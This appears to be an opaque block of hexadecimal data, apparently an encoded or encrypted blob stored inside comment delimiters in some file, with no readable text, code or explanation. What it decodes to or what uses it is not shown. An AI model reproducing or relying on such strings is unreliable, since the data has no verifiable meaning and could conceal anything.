a535e63f68de49e9132c7d196770caf016cb1206b69f4a0091011b6d892e47a8976a3342d1824dc6a59d4f15a60a187a6ed32efdfe11f9fde954e8f192126a868f720200d21a929eab334e70288d8838af098c62631f4d77b9017a173d5e75ff4f8c886e55fa8fdc170752c5e5b974dd880e2c98fc7db653677ecffefc4d6709159aebe9845860607daf3789592b0b1bed1ac8aa41c6942c58480ca2557c0a5935e954a42eb4736644cf1962bb037ac7618fa57e330ef1d422c123282c5b5cf15c3f09891914b76914eec6cd4a6cb02a980ea92b2631e2086deb7b23ce6aa8dfc3b5cb5e6a1830739a19c40ea5c21947c60319ab11e6b940831a4941890db705da41d27c9c6d465f113b66e5b3c49cd49000e461513c5d5eb27d2dad263632dad7dd934ee2a1e9f14c1de9515a89d30dc184ab4ba0d0fcd05dba9d5fb3208ae5c8094caed1171937e3b1dc7ee6dd947af692ac8ea573d85ab9b5d567d0aba6287b549776df76691f537b72c33a8c1fb31be50939eb488056af5893455a53d1898b0f91098144cbb6c71eae133d5e9755cdd297c9d5ec1cb74fe27c3859b94b9b53431ea7e73292267a2699cd045251f16dc339aef2e0fd5ac601066b712dda318adecec79416df809b49614609386fde15bd10f61d6c980cabab972fc7555c5915d1d599e87fcd9e939f8c2766e1afb47490b2f8244bdcbf42e1336c828bb10d430c11180b174d51d80f8b53241cdb05bb00e5724f9054940d487f9214afddad53bf34720f8524c16e5a155c72712d3d69cc63fe6eab6f6f5b9969300ebc634f2106736f26015453af233b3a2a854985ed818b421100992d17b6aed818addc7463e146b7a3781774986b1c92711f850adf5cb96d42903ec95d9215b778c4c76083120be6585cf2f1a2bd0f48784834fd8424acf82036b1234d63ad3f861f698104d89cab7a9b982a4919fa049127c738f7691ba9a42008fe4976d774cc3d78904212d270fc1cf5796fb90ed5ab23c79622755761e2ebe8a90d71385c34fe51487f010ef286dc02fa3e28b07a72041ad383d3d03d21124d0de7eae4dc1d77b77a3a1a25b6ca395ac58b5a615d1e233d9060a28227d4fa47750a5b8ea6b24f519fc8bf48cec76f7c2bcfd3a127b338bd2cdf99a74d68074f430a3ef9948cdac67eaf435f86576216740b9b83abe9531165ec2132c17ff9e08a234e08fe766633c5d21ee2566f89028fa5b95a29d6ba65d899e588ce2b39266004ccd2e3c186bc7d6f9ab83572e0c9928cd056dc18c3441b529ee83a31*/
/*1eed200da73d3d016ca132f87fe1be33bf2a497d17ce10bfed94d8afcc02fc991a193b0178cadee3a0b3f0160052c3bc3fdc6042995dccab37b9d5f91412bffa7e63b1ca9041354f560338b0f53bc9ec671a4675067ebd1bc32854e072eadadf619cee49ea64c72d37fc355fa005ab146dce69dadc09304da6cd3e9ff123f23f103b727098ee80052813ef384424d65e61e5433118c6adf9f0414b1808bea2b1b6499102649b571b7d8b605446d035e49a4fd86c395e3e45cb41868c39050b8ac3528127e5d5ff6c5706fd6856f3da864659c44d33dbcb0e3188c97d25393ac1ed31e23bde5593170568fef5063bce8963a96d971487f13edb05546a9d83876bd6c662a8e65ec2b75590c15e8e56e4ddda3db2cc9342c7f702d834e0f6ba2bd1c0ec5ef79d200c425fa688f45e7b4fc8d6f926a686a3ae968c2bd4862b08d0b4e6d2ed005f62d7a4904bcc57cda0f4f192e48b7b871c14167a6cfc36aa87f1f6feb2b1c9fb88c9f89ad1e739d5df48df214e0077202812527493d5ce082793965e76142ef8577471ab5fbe10cac91764f721e4f204701b7ad44ecc781d714fc4d89b1e5dfc046c7ce19121958fd431626a808d04a30456cb4681f116bde8fd968e3e6204274f0c6ee4a35c6cf7e37f3552d753bbb7a3bbe650a0666f90a566e915cb5a858ef3de3b98a5b301e373d0e04ef232efccecb9422b1cfa1539b9f06f82d9adaeb1c733a44257d7e742fcd884dcc9b2b2c1ee96cf6a52b2af1ac1cfc25fec831557b49bd7a2aa171a6fd2c95e91849f2d4ca7710e21c6db4b6f9ed4e4fe7ab775f4a7c5f9ef25cee99c36cff9648c41dcb0f6f83ceb79ddbdfff0ffa5811a83585471a127f8a65ad956bbd79bc72cdc58861173d16c7a79bc60db83779cb203c18c7e1a62a328c663c588d4e46126cab167f38dffe44945871ad74ac926ba6a237f40188354879ce30a2117860633da8f9ad17e2134431ea13c001ac1f42870c0878800f12598de3b9b4442b8d135081013b3ad105927048de61569d70c466d3d82f59e29f10d1e3f04d715da5e511698ec6c842de2f3a478c855b5c651bee361e8e5bc5a9c484ff929f2eb207931bbd46b920ae14d81527c77a4439b424a802d953c0319dbd5c553b67443b7d566cee51a799158b385d1266361b4b425d157adf620287bbbef4ef09eff606a4be01a4bb85f261ea16de3f8f88d42276cb390eb0429290dcba71a25b14eb95df9e134c86497b9575d56fa6c0a4b0c493238a6680244f4008295ef93544babedf5f617374e0d2175c5620a25beeff538d07fb444784e4fa29f32bc2de4c21d2bb6d47e95fe8c7d15b003894fbbaae919e7a240c880f9e052f7d9396f90cda7524af1ef6d106f5c82c46b015a8cebb39155910a37721dd10b1b2c233514a7f4c2e6162813871dda31f6636536f0267033bd4896e97183708d0ecf19a48203d6cd4c54b479d3a1fca13b5193de2cca782906900d6cfa892eea816b4e50f628bf6a776f154d8525813c469702e1c74e9eaf72c41ac552d7578aece3bf9ef5a95acafc1217d2041fc14ecbd97575218fc74d243b953fb7fed65297521c9886ff96829227a349e5e0080e67bd10be600770c1735b7324e688ba2753b74792b103e128c50f26974ed99109837d665ad9d5d311a5b35e2f5a78e1b0683eac8074f7a6292f588a83755e2d03848f8af80325257a285ff69cfa81a42a22078a623dab51b16ec47db405b237b2bddecefc562082543967f46f70704dff0c42fbe55d482df0cfc2eca5d606eb108ee1e2fe513157ed22a70d96c405b8d6c2c252fdd9b133e00df83ca3c07259531770b60d5ff80c4b917d9897faa87344894bac807f7e81bd9bfdf1f0a653ca96604cfc93968e2b5b525f9c8d81ef99c7c833dee07c75d304a17b2ebcb8c0af93b1459e5568d4cf23a8aaf0ff88c96bd0ff18577fe1bcdcae68e70961d405d7b578e1114b97ea0592064d1e83036a28a8856c259462f3f6c46291f0f4b9958373056d92af98c798b8da937cc9fc6c16247d1b60de5d2b42239885ca9c21e65b3cba54e79970af2ea4999b92c878edd5ce692e3a8a4f0f9b3021c89c11034933ce912621948fc14e165409cac5ed726926d09ac70294f28049de8ea0abf2a9153906e008c0cd46f619a8528fbb9195818348e3ac6c33b126a69b3ff126ff06478427ebda07ac5d881cc03ef8a41b3bd4eda6b55d996111b4f3794a250a1a866f4daa931aefed09d90d0a8a227fa0eb15fe6f9525314f7cce884b9e1774a4ba830065771db4489e2df81c43e9fb7ef33373762df5e0aa64c909a33783516c2a71694502f81346dd4cbb7dbe728ebdf79aa9049c688e9a1e1cfd3793f66da72465de6c30be2153f3f14c2f0997911e5f10e9f0c1e4a59d588dde40f7a0c1a74765700e2e7364588c0774d7886a8b0f41777f5d22ea43a0c6cbad2ecfc1ae7acbfabf4a7b52dbbf6728b6d59b076f6b91a2b88b99cbfd47d839fb734c33f4c9d5e8d1bcab7f190e69ac81fc6205cf42ca00a4a0a2b67b797a15c7bdac8a8a4f4ba593d16c34072dd5a4a757fd205d9bb3ad8050296154036d75fe319ea9a2bc9f81d81501690037f6184c2a733ec08afe3f46fe7bd0b322af72d31e038a50b398f08487b115225c2acea399c75bb0d2904a2fea53ef8d09a15899c06924cb2ad8bd66a100e7084d453fef81d4c258b1b734c3e2ec4e0978ed84c899f6d18258a00f9524a7413e07245bf087634a69da2e3b235802651763fc5bd5c62bfdcb2028966fc63cb119a6158ddc089043f2c497de4285d8547f4203f6de*/
/*2bafb059e671c6d0f8217753cf1b2e96199c806e6cb5a0acfd7d8c5f3c11c1bbda59a59d59c805534ab6da8032e0bee1a32256736476d291ba384bc03c34813288dbfd540d8830596fc8dbf02deffd1350246e88fba2b2fb0f8ec1584d00d391afa309bcb24f54ac27b52c3dc2deff10f58ba49b7646f61a1b6053c3df69832420d27b7e9c62acef927041d72962ed358aa1c819f84b1fc922aadbf2788c8a37018bdf33ae6e71b279744d557844f7e6e27a00cf69b7da45f4fa9f7e831fd5c8a05e7a774dd879fa380b8c4ba124ef0018f9462c69e5bd9a7f242e9d182a21fa9815ba439fdd320bbaa3ecb26a98c582343e9d86fcd569db192cb951f3fe8f02ca59d5841a29a20415d23a7599148da40a2c29f856045577206366271349a0fa5e2283a3f27a2738e9cc30b80aa9abd21f32f92f28272250f07d371cb9347c4ce1a9f42351987682fe18cdc34a5228dc165b4c76c0afeb6401b6f8873d1a7df5aef712280f3575ecda32667a97dd5dbd9033b4aafa4c2cfc9c0b9d3c470d8f95de8edeeb7cb0088fc36b8f618d4d389b9464868664b282a3879ac101d504e51dc0f0fc3c2a5c1deda1ea589dbe60f034ad03464fcd213848023b858fbec0c059fdb634369bc5543334628587778ae796049d79d716baa09e26b289617c9af2f03b1081cec2e2504f98f4f5ee1f8a6de3494419cc4c96809cf2f3dc4bd2a140524c4d9b29b6598b0548cf6302b83fb6712a59ff5c236acfa63e53bad2dc4e70bd31548645ae85e7e9166dd7740000ef6e5936b335c2e60cd8b502b1e5dbdf18c7e02ec4caf8f624ed157aedba01335fe07971631edfb489182d370d4ede22417ac6291d18e2a8fbf6d6674989a366fcab989a8db24c3c806e95ae8650937e1d4ec150ee92475a3683f16ebd30ce57c21290d85f06154251df6becc2c795da186de9285f58de2f8b3cc4329288ec1c8f34638dcc8b8d1f75f464013bd7c22eb82209819e84fd0f55a40004fb90945b18af09b172bbc47a51cb80a0b91832b871f89c06e86de091fce7685ba3c1d9dafd674c4cb8d88c4ba4ce50767689e55e20144a00d24a2ec6e9f7668bd6a8117fbb0d383a8a2655cdbebfde00a8ed28e0d66f6683d3204bae6c0136d3e5286343c819ff0fc602555f49e556de6598155077f6f2f65a15e3409ce0c2b4e1e87218a7e117760bf8119d07c9654474ead01110c5f965d69be2c0f4927791a881f41fb1d80cfe55a251c9e09a1b28094ec59428223916a2176d34c31aff3e1992af215d1008037cfc44ee8b764942e5466c32b0a0e310ff2c7446b682853cb71e6123dff096591d0477dc14d1de5628783ab21d0f9727dce6a80a2838cca572b42a9a4de09d2494335773edec98dcf462d974431c7c682a7e0695f05ceef526cad49a4cbc1c11d435f209ad8b17375db53fccd7ac55dbc575a90c37f4815e7ef03caedbe525785e490494820fd67720d2f17cc2537cf987168ac8ea456bf3a5d86238bc188405c9d639484235aa5efd01d6da24b800aa5ea3598dfd29a76fee870fa74dd61dcec0a1336e5f8c4038b9ebaf24444472f03ad4de778eae89b6e10e262ad6b8ff7067c152cfb7b8e6b7ea0c65cbd8bdfddc420162c23d7ee98bc03df3f07ff0e63a573cb5fc43ea8c57c2f6a37d8f28f7e34f77f0a01bbe010a1fff6f23e3515f4078f2874c1965eb2cee5dcf34f76daacd0a873b4eace6e753768648c6e59affaa4700b14c69b07b2737c6dbf260fbcea36da7e774c0700c6288629b25d0036b5ad631ea684cae3d55cb3bc06ce233f4f307de8af557894efe45b5274b3e29bf42f1d337c30d5a32972125a65c71a053349e95a63ee26683683694c49f6d8f02993fc7cd8586fb79705b166276b8dbffb7f489b05a9594f77d4355a565e97ddecdafdd28fc9e237e2a6f0844c4e936485cc1fd558e851b60dc2d90b4c9e298400a2f594e56b62a1a0344ceb5e6751513bfd89efd1c9bbc221038b5d54688aa5add3d6c0b8e986fba6af1ee26ca285dddfbc6ad6ab87e38e598d5b58ebeebb0e2297d8c1e2bad713b70d3bda8f64e81437c3fcc613a0f532c3d3a471058bb7b90c700fdb3b365c840277b58242612afcaea4e76e92de24cca96f807daca6f8e3ebbf2710d47669626048969ae21e007c82d711d4464f3de0447db3a78af5ea8bff552f1d424ecf0c7ce7845765ec9f22ef1d4af9e8cd1172bdfb1c9c70124d95b3b83eb2b431c9ce0434371b052dadca8bf6aa4ab6b93ab13bc8cdc72c20f820abb8483332d8b94a7dd0473bb0d954759ffdd86c9392db53348b25139fbf2975f24d357ecbc42287aeb99cce0b11ce257f9e32b22d93d7a86c4d633263b9e1338158125fe4cfb6ec085dac07c27013ea995be221a82ff1ecd544a95a88f30c5d57dc46e533347d09024196698696f712aeab179ead185f201708059498b466a768e963837f92e613be1d12fb65b2422e2605a149a9ab3d300f769afb7831dad07fe022b4e734828c59e9990939c09c5496bbd81ed5edcba6bc623d1d487fc7504a6c1a8fcd79e3d5b74bf1170efe7c2bd110b9b29bf5726a03a0af7682866fc2f2fa248b37af58f80c8d033914669aba77bd6c3806a39a04a9ae80700103b17dcab43661bb52ffa2c88da67b7fd7dd3b2c2fac6a7f095df752ee12fc5e61426c366a8bcdac1eeec1108e1891911bccd9c04f2fecf4c317a5578a791a8c0d3f803b8501493d713c9becdb00d23953f6a6ee8ee3b2bd7955ca05aa79ed0c484c63abc059264bf671a51ed4cfbf51f1b9774172c2f0b75820412fd0fb54228fd69*/
/*d1e69727c1f44ed66e8ffea39dfc4730f00ee61a30336568edce84872b45c7d0720d5e3208d641e19dae03c8ebcfa8a1d56638210288eeadc4b54e4ef668c0f5a3a7cba7d29911eb88e077292df6a8ba640cdbdfb00d36349c3d38ab311b8eecde596b3380f700d8554503b06fafe5a7af9585a6ef04da47e5b014966d5e4d8e48ebe75ec3301f498dd790b0ae8bfe464ccf4364949e26633472624c0d4fef3cf1dcece24df7e426fb3fd996e29f41430f8cba3c714e6511405c8492e6bf9e9b8b00acdcad6967d2b03859a0e118570d9365d0b0c3d2bcb60a89ac924dce248a7fe338ac94b5a61e1ea2eaa3f2a54bb1b2ee9182d985bd4c8bd6ae498c092139e0f67ca6b9a56132ace46bd75bcadfb81d83dfde0eb46b06e1ddacb8ea2857a719315b6f821e284eb82111f9002ae256d8c27f2d79baacc36dc38b35b3bf9ee9adfb46fe970cbc5556163f51a551c8492f186c5698bda9845ce613b769c73ade00c8cfb79adc0f6ed2df30bb3c5e1142200fa486356ddf6d31da27c4fd71613f1ff08ac2e01ce797c4b0fc7da7c0b9e62665391e5b24501349c6c4e2ef513cb2e0bef07312c9ef5d148f470ea758f43e63004ba5cf63b0dd97f43d547837e563c1a6cdaae682ff1136f08a287151458c42e048de778dd91806c28b62b9a2e6c3276487a5ebce95f5473a5eb5e0555177aeb29afd56bd844f4a1265c17908b3f761e1e8e31a9e6728d2ec5e4014d15cdfa7e0039bdca4e30039c3eef998e9feeba9ba27fcbebcb944220af7d73d0be3e70c02de7875b0095898674a9248e9cedd8119610de42e2f601bd868a47cef26ea61b304d87de2c8eff6649b9b18a07a941762ff53b46bcf7ae255177d33409fbf802ab120113ab158ae2daf00712b3a300ca9e94942ddbcc0d5db9eecd3e6abe5a4a564c08e2275bb031f95381bcf26dd86b43a43b4bb11af7127cf2a330417488dea174552cea3107345e89b30f54b283fae06a8d95cf904d1c2b6ed7be508012eb338994b9bdf48c0cc80afb98c4fd79948cb235124a7618b67628e1b9aa907499cae54f2ddcad36a6f3f436a8b5eceae22ca20fa1dc0527ca6d564cc79ecd1b9f64faeb7faa05f2ed5cefc90e2be228b11ce92313fcf24564b5c3b22370174293af1e62984917d1d6bc2ab2830b50c8a40e495eb2f05c7c4fea16235c89a548f09f59edcdcc5e04cf8605c58f471d3ad1375fe6fd8233ce97853a8bff5842106bc8a79d0f05c6ae06d06d34f88fbebd5e248a1d619ec81ba458d42173e047138f4ac0543d8e7c55f043f995471c5ffdd18835fe7de7a5c3ddef254169ea0a661263f2cbea8cb2d81abbe161ff5d13057eb10c4c3ba1877f8473f4da0be71cfcfe3a1f808455a9530c1c41da3218df85d36fd48adcc368453ca86b66f21d655c6da4dd435065b80bc265e518c479d5601c8199b482f974eb25eac9f5ecbf06dc64579272ce487483b6ad224bada9b629d58297be6f886dc2edcc58528a9b6278bbb70656dbb58de719e6c4d9203db6834c637a40f55ceba182e54c4f3da16b6de35a5a04ff08a17f7611e6a34f39bc7633826eadfb8be2605b8c55548943b92777a2ef309fab8e21de3724e305df7551997ba64fd9cd0c3986995ab4af3f283c4b9e22a579340494e7c8491db22634831bcfe5b8cf0ffd8905a4c176d12eb6b8fb70cc2775cb9084063744bf4379163519bc5c557bf28bce16cb7a8e668783c64d93d2b95f9e690d86f4078ea6cfe5e0cce0be07b0183be4c0e0e0d773cc64ac8b4384f30baeb386cff9eb0c2b8a45fdde9c390ddb2f7c588633a00e157f5f302a9d089daf61ebd5b946aa0995d3134c04845cb38376d924e4b3a76dd21cda4a02f54dae6e041d5e2993a20cd5e2fb684861f1bed3ec97a4b2e4968855ae62d1f798b7971988bf094abcaf33f03f8418b3cdde9754115a83c828767325a6a7b17ea746df869448c80206fd4eceec3d0e2a80343ca4b8b93747dd6a4b0ce3e42a22744032bb8251e40d8bd2338405a8c987a011ebb7602fcf77abd3c14080b925c4a8b25e694541187059747b1e4439878bad024f74591317be4d10f4c52f2a763c9f2d2a603c5b93c107b57538f47192247ee7002f9d5e3ae9ab4a927262ecf8852529f5d3a2484591ef08b686de61ebf01c5f917f10a060b82f8c16b493b59bec22330e6c82a4ea1963a2f619ad0f3c94d80fdee9076a2605c347d29f3b724c63ebcfa1e92e6eb348de4c0c48caf5653dd6692db735b8e413b18e6116d47e74e719a5a31b9601deab407f5710572d609344b7a476471db79c07a26ce88af7b175202c421c44f5c093793c865f25cc185c071e689b1ecde770806d15c4fce55f5aa4b2f0304b12600bea7d96cde0dee7825e9522b4574d2ed80c6265ff0f0ab1d2df96d2ddfb7b97052dba48a3058c91ab3d1e5793cd9505427009d87118eb29c5529460cd999f83434ffc5a0dacf7fbfd9e03cae86a1173f907048729a721bde5feb25a28d058a73373d687f7bb5698b8638851712f5b7fbb3b6dc7fea30ae5ca7f6ba2bf14f6ee711bba3abd0b174f4f06af078f0204a95458e316552df6371ad5573bc2b366e87aa15850653669a4e3c9dd93d03b615302250b7294c9e488f6b094cc724c39ff18fb0c2fc527c5dd9f5dc3ebaa0c017a4e7a0c0983859ac499ba8e2deef3e9c301804ced15d9322612b637e8f9f61cf13e548e813326a48caa91d347f027caf15ce53e1d883aebe161b5812f90d3fa5d403a8b5e3b3ec61d96810c7a6a14190940f9bb507d8a17a19580e4a979ec0c87fc36260dd895404*/
/*fc0e0cbfcd82cf942f236fbb80a7d2ce979d5ee277803fc01369994f5356dbd44e6173d9ef50c8a2ffabe54228d877b7bb47191139e5bfb32317eaad2d963a203579f7ef45b040cd3364049484664205364e048eebcf67418bbcdf19f1cf7feaba0ce301875ee2b508cb9423993d725f6a646083d914dd3b5edae9068e27057700e88c76f860a2d64136ac1e3b0e7e070da5cc4498a00ba2048ef71c97037201e2c02b6948eaefc26118edc20c90688fb0cc011e65ff9c1a9c44fb42fce7af18d49765b25fea7e75471647b3f14b917693883fbfe9fc9a2bc98db6a53a357660dbbf4e23689d28d896388533a215f3a5f6c088fd3f874b427d6633c2a1ae7682498723f4acd7c1e8a9772ea7ee8f4ab279dc457a8e3c68021a8946115adec598cd3148a942dfd4963ae93d1b2b08859637532e881dc2527f01b9571306e3d8816f3c2b4958fd1d5c75179c919d6fdfcb1d357c2f08822beb0b63761127ac04e1464451a7cd0b9adf02df93752a9e684f16f4af8c05b3a64182c53130aac47aaf5ac7a0cded1d098c477b7a7acf20712d9fbb6da247bf872da0f1430ac6d7a4f1b1e6d1e0d4b88e284c4ed6c6bb96c590043208df8a8e8231996c238d4cc8bd118ce62e244dcda3307d2afdb5311e328c8f8a2643813be7c636a7855b7778df8f75022a092a4ea7a5cb33ce8977591f2f5e592abf95148eca7d119800b3f2e6b598e8fceb4afaa6370bcdfe967d86a6513be7f9b965d6a81a9bd7945a22beaa3a13a53754770e8a4b794959f7423cf5ca66841c870fb63fae181cbc4ba6eeb3e215999567edfd406d0107f16d13b6cdbe62d586f9dc1a9fdbca7a791d69c3da9f473e4c240a1fd5674d72d81248bb079ad294e92017a3c3932c3a8a00bf2cc57ac8704d3d9f07356f0d1d984611907a26542402297bf2df69a341d609935c95e3e67a67403df14edcb1fa10a2b673fde792a5c1a5818bbd27d8b29c73ea8ea93a34232a38f7164b7f6dc528d78b6ea933920bd2fdf5a56159424b231ee9c24ca8fbd391f0ed1645dc1c380c6e7ca75728d3c8f315441fcb356aa853a3adaf58c952cd015c0af6e0f0c543f54ddd6d4882e0f1fe1606a4c89a8b64c2acd3d9c48b17e1d732628baefc94b995536306c3962d43d8ee09243848275fb9b715eacdced4b89b12112182ac84a7268552b5c95a874f5b77b11541288d58067008103cac5637ffc93e5ee5da7f5941ea13000ca9f980dfe151b8b82dc25fd790a703ddf6bf9ece2f91150b6595e2ad9d0b6cbdf06275376180dbd215876f0a6c55a01892f27c7fdf63f59050a83ef5369a18890bada2be171dd1be57fa6c717e0490ae3e46b7caed6f97ec3cbbd2edc79e315b761a2f0a77d052debc09bac20df7e689f16b53d0bca635642b02838ff91e65eab4dd7cd21157e061d05b746c0a894f94e9ccc904d1591bd15d808769adaa802c383424aeb48e6af9e8dbe73a05e9dbcd8ac12d96b82ab7b75376955f2783ee093446b08b6955b91a9175d41c7898b43b436e789e0ebad12198d3b44d7f6caed5bdb39065df5cdc4d4bf9cd8270cc4340530ec33cb56937f3ce4d7d489049fbb7a0a599dee61949f0622a956dbd74f094cd042f2b78c1c03613a856b1cba7157a96f26a1d55262441277ee3173b459e7ec50e67f48b305e514f142a308b99e4275de7add069b4820532a89c9dfbacf62a2a8626a1e9e518739cd32c4a3f7ee0fbee33d23773265a2e99c51f966c8cdcb0f99bcb77d8894ac72330fa793de9e31dcbfcb7dac770351656f10ca902b95ca5199528d8e9606d9ee403ef634fab0c586e0606924a04a2a571a3fe41b4a74ec9e63c16768b4a0070b680d9f0d988aed55d740a7b42ce659911f03ea7f329df98219f868df0b8babcdad608dcf936cd7e475f8b71fbe5f997d094200afb0fcda11be6cafe3954a0a57e1c11de517ea5b14de74a5a70c1394c9e487792e658db500213721e99fbc4f2b1c627e7b769a530bf8cb4dda025da6dd539de974a8e16903d316622d908ef1e941347727c04223f6474a64a428b8c8c2972770c2a7eec2551c4301ad9fdd8e8ad24e9b11501edeb583cd07fcba49f0da21b9a1c7bcbc561b1c41fcc8959fe6a5618d05903e2ec10b8813a4d397f91d905a0045efe63402a4dd2147de5bedcfd27e3347db1af97deb24db7a40ca8413b36931d092507df5550f43477765a47351d05c4520b72b40642003c26c3122642a76309437fa7a709c8a22884d5fa35340ad4c3eb4facad26cf039c032e5d30796203d877717b43307fd34daff99a6ec3a6774126306019e0a16d096b94c250c2ef9c964bbc0b05926f20cf47bc433bca47de9b8936ee1ca37182a48dc71e6c619ac183060a5983a7a06ebc98e26d98196385d14d1d12e3397f39f3dc0dc450441958e422e4b74e3c332a09777d1e618a0b25effb763a8ee2fa866b0b6d1c2dd28719a0dcd9b5e1a6fd4b60c520346ce36956066a553bce0abf54265af32bf0a26917c3e7b67c33e6a73f6b8bb8ccbb20c48813c5d5419c05c706a57141a034527a97af674f4e0e480df796968867e01d7bdba9f504caeaf8bf414a1e745d739307b0598eeb4b878abd2cc2a7f484109407480e69c5b2dd0693eeeb417e4685c6bdb286594a1b4383f72c424960c56a73213470159b66a17f5b6c746aa6b70fcf3dde2fd6724b51ad852d16f0050162fefa46e3d873d86a68942f70e1d430ff8c4cf1c2e3f95c152c6cd5913125ff9437afbcd8fb57eee9bc599c3cab9a9abcda53e041e9c3df2991f600f60e769acfe36c434d958e1adc8c71*/
/*1e8a9b26a6b8dfe32340d2946837de8ba4627416dfbd4aab5c95f67c6b2b8837bfbe9325b9fa45c01af7919252d442617390757c923b5bdf1fc8f2d8ac88b4527e1eb5722dcfa9955a7136726baa0e7e994dfe041ec2a2788faff024f1aa46cfad1787b756249db69b6427afdae1801d903873d23467023476e4693bcc513979d651a9c30c5af330fc6bca9b3b4c5f0cb9e73bf8fcf33c8e7ae192959d28fec8781b069af0fde363fcc425a4c5c224cc23111f77e6903552144b05cd6e960ecd3065459de6eb9c2b4a4fe1687d4182b17131c2024d587beacf7838d5bedaaeb9a0bf4ec7473d3297632ec4cb6fd02f9cf82affc2de53166733eb71cf7ed88073fd105b991d4dccbc043ea0a743cf0ba1b70b42fec3b3d734c65f53399af76a017d91abaee14342e04a65e0b5da1c2fb5cbd0a9328562f8c50d103c696059d19b50d41a6a89de59a360823e9a11c8f9af597acfbad3976da0654d53581aa4d493d8f5a20260d83d807a38d2df70388c670eb3ac76beb13501522c9e0bace9284a16fc64d504b2ec0929db21e5bfcf8cfb56df4a005a32259234a3c87dd6bcbaafd8ca7bbbf93d7217c6844e29c2193d23414ac03081b655534e77dc78e65761ec2ae91bf188ae99fe99ebd6dcb89bb6a7e3f8bc778f6a555a289e1909cab3d1415a683e0e5c43d9800af713094c2d67c58ee8e7930ea4555fd986caa2f955edbd4bdc76519cfd6ec5747c42f30e1797d5aa895e451a0f6d8b3146660db3db5c8705262c5586da8aeb946778ef876de585904fd79b85ddd860d60d6a37cc7de96baacd8b7da313b1a56d3ff4807d80bc25bf198a36bbc60fcc54f3f060526d30906905f4b38c7b6af814ce186e3989bca5cca67d2f8a338824b70364657f718e6a684c5add8dbd3566a583c1e61a0c7cbb771edd0e2d2b6ab4bc11edb3c0996ddb2acb78ac589814f8343478bd05d471cfd021b1d82e7c1f882ef29771c27ec5fc172c129cf1a2b62b05cd14838ad2cee23ca874ce7079cef55395346888fc2b0d4b4d439250c7a38d6ba875f3fe53eb2ab045512516aba05944d54dec5af65ad5adaab3b3c64ae747619236539bbfd70f909f0757a57abf184ebb6419ee02a52db8185391e1786631b9cafc4df92473abe99579bc0187560c82f00e3898171bdc937e4a07bff75370bed89dacc0730eb117508d8c1e859b5e7cde21f78aaeb4b00b571e5de50bf9bf05a348c967a3556b1083c2d0ca1efd2a1569f8cc5d5959979105768f71d0c93b35b64b4da1419e83c26883e8e95853a6af183e1cebb2f245b0e875282fe3b72e6292562723e8d27e4b38372d66684dca7fd4dd6c1affc3be481cc3dc2131dc561f555d74b1abfdb0be2d3be88fb205abed43b4c8424797910815cc9695f4e9abd64b82a7d86789275a7b35abcae3922ed0f18e9162abfcda1699fec86ee6715d0292ae4e991e504c18c9f1a9043b57d1887c16dc4b189eac686dd0b3be0ca68669b33622f4ac6796dc8ecdbe59c60a354fcd3675390739f3cf665725e365a64f3e70cb2ce0338bd501ab3aa2713e2c343e2c00a5e22f6fd503360635a68e81cf8ae827f5bcba778a9f6f3f5c873add5e35059390aab5c47790f8ffbf44b9aefb363d57e8e0e35b54c42b4de22f0afdc0d4f8f9d02132ff13b21303c3cc4195cff68b5c5dbdc8403773c79bb46a2bd9ee17bc4ef309f00fb10a6e768af9cbf16883efbab42a5f426f484427e48a99babfdba42d0fb56e6cb6ba63d52b8880af0c65084aacd4d1f5a85079b81f7b227f6ff0e419be7de62460f2fc7cc007903924d54a9a8db5e6dc6a1f07bd85c4877e06bac48ac4d2ae2aa972ef4ca4dc9a52e9ae3997936e1f3fb4247a6b624ad4903f4e2f4d998f7890283113b5d6b8352019f89e9a2b9f179246d973d04da5389ee9c67facf943955d362175e0f68fa5c0759f03e011d7f59d561dc463c977eb5a195612baa3415e77b16f3c3e2cafe598ff70550e21ff9d35a974a51559f1496bbd98290df5c2918d80551cdddcc302113a0e930fc6a049d49d87a979cca334710ffbb17a2da2197c855eb23b92ba5794bae7c797ab24a0c247e31cf4c301ead011ff281113cab5034aef1f62de044e3355848b899abafabaa1fc12d3e39f253c1f6be3362d9ca7a2d91e1aa12c910c1cf908b79543f511ce95a130c962fd2886542db6a0516df06bc72a52ad8295b1e8b4c9ba17151b3b6e29e7c756607cf01f87a7d41082fc0571a79b55f2eb669967a7feb809223afd768686cd03df0a6cfa84cd2d7f3362ff2db91e95df926edfb51a1ef42c309c7322fdb29eb09e85ac6199ad5f0bbf449527741afe2f81d1b999f98d783067e22980d68b6a3ef9a5d6b5458ab4ce304fd6fae907e17ed2cc2833993a9ce7a47f47783b31b780dec589536e45524f965876736c0e557975a0808cb3b07afa62b4d41f745693e5548045fd32249e9c4e8dc96ae60c8d0aaaaef4fceed1f02b694397322a645915d48e0a3b76cd152dfc08e29375dd822d19c01bd45d4b07fdc56378438834dae7dcae03f54f7bfea93f951a50eaebb5b570af0caf773523c3a9a40cd7ee27c7d7a1bba4aa67c430f0017a7c5eb1c5d6802ba8865c1952fdf7c8166335c9e183671966452e362bb32e3c1edb9467ae1b3ead03415b6d064e2d0ea8f9e08705b493fc432580f52097bbc74d01ed4ef2c127431a602c102f54fa58a7d4b2eb517c0ab5770f46693e7fb1ec513ff0acdc1706f109085dc2fcd543c00c804e7ebaf8963eab83853f62f1ff1f5e59f089015ec9d0289847384783b96728ff07fb*/
/*988867e1cc38f965e9e942584f6bff8d6657837d91f1b9274a61164cb24fb70a6c8d74effd8e14449e19bc4f31a3f20ac618e809bb9e27747a3227e55b6b05bf43ee2c521c758c312f9a3e151911aea4e194525108c7690282a61c062115d989b8bd7310e5a2fc5a743b266395da2b27b8aa43a623b37bb17970e22afd90c75dd4b59c5df11100a85986a3a78591c10e34907a71e6793ee3ecc0f0364d7ba4777bb1d5a5d0c6a3a572bf442923a0e40fc14832ce7e3123210b11a95b3b22a1a65ae37e4ceffb0253ba57f3abe118ea9b5f52fc1296062892a885bcbb442cf405a69b5dad2cf9f23d41b557896cdd3cb7a6283ea80380509daba5f89063d8ea8a5382349dffe913a992d8c034b1996c7166d882785b27753b958b9bd75525b14a58f15f5207377f717eb74bcf9f0e408c7120367bb8172d3e1b71f54f9e35a5b898f3794a87ec0d77d61587466a59b548fb30eda03b455e63f8fca47fd0c2b4c31a3f6444c6693d1e2677346363fae193372250f3f83820b0cf83b8429fdb06951b8fee75b336c46ad733b77e8763c984e4248f190b009df1db3aef2bd98dbd12b59cbd4e6dc84cd737d1ad3d2f66ef0bce576dcdf3bdad48098dd2d0f4c35631319629e47bee36a18f28aaf29aa2b2ba24afd452a311ad5eb81a998b59b2713fa791f690ec6f553dcbdba45dc092dc7868557e6f9cd587d704705b0f44873ec79f637cef9ea7f490689b992e